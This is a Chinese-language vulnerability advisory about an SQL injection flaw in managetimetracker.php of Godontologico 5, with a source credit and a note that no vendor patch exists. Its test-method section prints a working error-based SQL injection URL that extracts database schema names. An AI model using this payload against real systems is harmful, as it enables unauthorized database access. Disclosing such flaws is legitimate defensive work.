发布日期：2014-01-23
更新日期：2014-01-27

受影响系统：

sourceforge Godontologico 5

描述：

---

BUGTRAQ  ID: 65093

Godontologico是临床研究相关软件。

Godontologico 5及其他版本没有有效过滤managetimetracker.php内参数值的有效性，在实现上存在SQL注入漏洞，成功利用后可导致未授权数据库操作。

<*来源：vinicius777
  
  链接：http://www.exploit-db.com/exploits/31141/
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

http://www.example.com/collabtive/managetimetracker.php?action=projectpdf&amp;amp;id=2 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,cast(schema_name as char),0x27,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1

建议：

---

厂商补丁：

sourceforge
-----------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://sourceforge.net/projects/godontologico/?source=navbar

浏览次数：3726
严重程度：0（网友投票）